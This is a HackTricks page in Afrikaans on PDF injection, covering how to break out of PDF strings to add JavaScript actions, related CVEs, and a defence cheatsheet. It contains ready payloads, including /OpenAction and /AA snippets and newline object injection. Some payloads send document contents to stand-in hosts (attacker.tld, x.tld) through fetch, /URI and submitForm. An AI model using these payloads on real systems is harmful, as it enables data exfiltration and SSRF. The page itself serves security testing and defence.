PDF Injection

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

As jou insette binne ’n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te voeg om JavaScript uit te voer, SSRF te doen of die inhoud van die PDF te steel. PDF-sintaksis is uiters permissief – as jy uit die string of woordeboek wat jou insette insluit kan uitbreek, kan jy heeltemal nuwe objekte (of nuwe sleutels in dieselfde object) byvoeg wat Acrobat/Chrome sonder moeite sal ontleed. Sedert 2024 het ’n golf van bug-bounty-verslae getoon dat een nie-ontsnapte haakie of back-slash genoeg is vir volle skripuitvoering.

TL;DR – Moderne Aanvalswerkvloei (2024-2026)

  1. Vind enige gebruiker-gekontroleerde waarde wat in die gegenereerde PDF in ’n (parenthesis string), /URI ( … ) of /JS ( … ) veld beland.
  2. Injekteer ) (wat die string sluit) gevolg deur een van die primitiewe hieronder en eindig met nog ’n oop haakie om die sintaksis geldig te hou.
  3. Lewer die kwaadwillige PDF aan ’n slagoffer (of aan ’n backend-diens wat die lêer outomaties render – ideaal vir blind bugs).
  4. Jou payload hardloop in die PDF-kijker:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → Full JavaScript API (kan arbitrary file contents exfiltrate met this.getPageNthWord)

Voorbeeld (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Die eerste ) sluit die oorspronklike URI-string, ons voeg dan ’n nuwe Action dictionary by wat Acrobat sal uitvoer wanneer die gebruiker op die skakel klik.

Nuttige Injektie-primitive

DoelPayload SnippetNotas
JavaScript on open/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Voer dadelik uit wanneer die dokument geopen word (werk in Acrobat, nie in Chrome nie).
JavaScript on link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Werk in PDFium & Acrobat as jy ’n /Link annotation beheer.
Blind data exfiltration<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Kombineer met this.getPageNthWord binne JS om inhoud te steel.
Server-Side SSRFSelfde as hierbo maar mik na ’n interne URL – uitstekend wanneer die PDF deur back-office dienste gerender word wat /URI eerbiedig.
Additional Actions (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>Koppel aan ’n Page/Annotation/Form dictionary om by oopmaak/fokus uit te voer.
Line Break for new objects\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjIndien die biblioteek jou toelaat om nuwe reël-karaktere in te spuit, kan jy heeltemal nuwe objects skep.

Ingeslote Actions as Injektie-teikens

PDF-viewers hanteer ingeslote actions soos /OpenAction en /AA (Additional Actions) as eerste-klas kenmerke wat kan uitgevoer word wanneer ’n dokument geopen word of wanneer ’n spesifieke gebeurtenis plaasvind. As jy in enige dictionary kan inspuit wat actions aanvaar (Catalog, Page, Annotation, of Form field), kan jy ’n /AA-boom aanheg en JavaScript by oopmaak/fokus laat loop.

Voorbeeld payload vir generator-side object injection (sluit die oorspronklike string/dictionary en injecteer /AA):

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

Hierdie patroon stem ooreen met onlangse jsPDF-probleme waar aanvaller-gekontroleerde insette wat aan addJS (of sekere AcroForm-velde) deurgegee word, uit die bedoelde JavaScript-string breek en ’n Additional Action-woordeboek injekteer.

Blind-enumerasietruuk

Gareth Heyes (PortSwigger) het ’n eenreël-opdrag vrygestel wat elke objek binne ’n onbekende dokument opnoem – handig wanneer jy die gegenereerde PDF nie kan sien:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Die code iterateer oor die Acrobat DOM en maak uitgaande versoeke vir elke property/value-paar, wat vir jou ’n JSON-ish dump van die lêer gee. Sien die white-paper “Portable Data exFiltration” vir die volledige tegniek.

Werklike Bugs (2023-2026)

  • CVE-2026-25755 – jsPDF addJS PDF object injection: deur aanvaller-beheerde stringe kan die JS literal toegemaak word en /AA/O/JavaScript aksies ingevoeg word wat by open/focus afvuur.
  • CVE-2024-4367 – Arbitrêre JavaScript-uitvoering in Firefox’s PDF.js voor 4.2.67 het die sandbox omseil met ’n vervaardigde /JavaScript aksie.
  • Bug bounty 2024-05 – Groot fintech het kliënt-verskafde invoice notes toegelaat wat in /URI beland het; verslag is betaal met $10k nadat ’n SSRF na ’n interne metadata-host gedemonstreer is met file:/// URI.
  • CVE-2023-26155node-qpdf kommando-inspuiting via nie-gesaniteerde PDF-pad wys die belangrikheid van die ontsnap van backslashes en parentheses selfs voor die PDF-laag.

Verdedigings Cheatsheet

  1. Moet nooit rou gebruikersinvoer aanheg binne () stringe of name nie. Ontsnap \, (, ) soos vereis deur §7.3 van die PDF spec of gebruik hex strings <...>.
  2. As jy skakels bou, verkies /URI (https://…) wat jy volledig URL-enkodeer; blokkeer javascript: skemas in client viewers.
  3. Strip of valideer /OpenAction, /AA (additional actions), /Launch, /SubmitForm en /ImportData dictionaries wanneer jy PDFs naverwerk.
  4. Aan die bedienerkant, render onbetroubare PDFs met ’n headless converter (bv. qpdf –decrypt –linearize) wat JavaScript en eksterne aksies verwyder.
  5. Hou PDF-viewers op datum; PDF.js < 4.2.67 en Acrobat Reader voor die Julie 2024-patches maak triviale kode-uitvoering moontlik.
  6. As jy client-side generators gebruik (bv. jsPDF), stuur nooit onbetroubare inset na addJS of AcroForm setters wat binne PDF action dictionaries eindig nie.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks